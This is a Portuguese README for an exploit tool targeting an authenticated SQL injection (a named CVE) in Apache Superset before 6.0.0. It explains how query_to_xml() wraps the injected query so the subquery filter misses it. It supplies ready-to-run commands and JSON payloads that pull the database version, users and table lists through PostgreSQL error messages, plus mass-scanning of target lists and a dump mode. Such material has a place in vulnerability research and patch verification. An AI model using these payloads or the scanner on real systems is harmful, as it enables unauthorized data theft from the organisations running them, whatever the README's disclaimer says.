
Exploit para CVE-2026-23980 — Injeção SQL baseada em erro autenticada no Apache Superset < 6.0.0 via bypass de sqlExpression
____
/ __ \
| | | |
| |__| |
\___\_\
sqlExpression vai direto para a consulta. sem parametrização. sem esperança.
Apache Superset < 6.0.0 permite que usuários autenticados com acesso de leitura realizem injeção SQL baseada em erro por meio dos parâmetros sqlExpression ou where no endpoint /api/v1/chart/data.
O filtro validate_adhoc_subquery() é contornado usando funções XML do PostgreSQL (query_to_xml, etc.) que executam SQL como argumentos de função, invisíveis para o tokenizador sqlparse.
POST /api/v1/chart/data
-> ChartDataRestApi.data()
-> QueryContext.get_df_payload()
-> SqlaTable.get_sqla_query()
-> coluna adhoc sqlExpression / extras.where injetados
-> validate_adhoc_subquery() CONTORNADO via query_to_xml()
-> SQL bruto chega ao PostgreSQL
-> CAST((...) AS INT) vaza dados no erro da resposta
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests
python3 exploit.py --url http://target:8088 -u admin -p admin --check
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test
# Versão do banco de dados
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT version()"
# Usuários do banco de dados
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"
# Listar tabelas
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"
# Usuário atual
python3 exploit.py ... --sql "SELECT current_user"
Quando validate_adhoc_subquery() bloqueia sua consulta (detecta FROM/JOIN):
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass
Isso envolve a consulta em query_to_xml(), que oculta a cláusula FROM do tokenizador.
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT table_name FROM information_schema.tables" --dump --rows 20
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --injection-point where
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --proxy http://127.0.0.1:8080
sqlExpression (padrão) - injetado na definição de uma coluna:
{
"columns": [{
"label": "injected",
"sqlExpression": "CAST((SELECT version()) AS INT)",
"expressionType": "SQL"
}]
}
where - injetado na cláusula extras.where:
{
"extras": {
"where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
}
}
O exploit usa a conversão de tipos do PostgreSQL para vazar dados:
CAST((SELECT version()) AS INT)
O PostgreSQL não consegue converter uma string em inteiro, então ele lança:
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."
O valor vazado é extraído da mensagem de erro na resposta da API.
O has_table_query() do Superset verifica a presença de FROM/JOIN para detectar subconsultas. O query_to_xml() do PostgreSQL executa SQL, mas o oculta como argumento de função:
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')
O tokenizador vê uma chamada de função, não uma cláusula FROM, contornando o filtro.
Esta ferramenta é apenas para pesquisa de segurança autorizada. Use somente contra sistemas para os quais você tenha permissão explícita de teste. O autor não é responsável pelo uso indevido.
| Versão |
|---|
| Status |
|---|
| < 4.0.2 | Vulnerável (sem lista de bloqueio de funções XML) |
| 4.0.2 | Correção parcial (CVE-2024-39887 - adicionou algumas funções XML à lista de bloqueio) |
| 4.1.0 | Lista de bloqueio estendida (mais funções XML) |
| 4.1.2 | Contorno de segurança em nível de linha corrigido (CVE-2025-48912) |
| 6.0.0 | Correção completa para CVE-2026-23980 |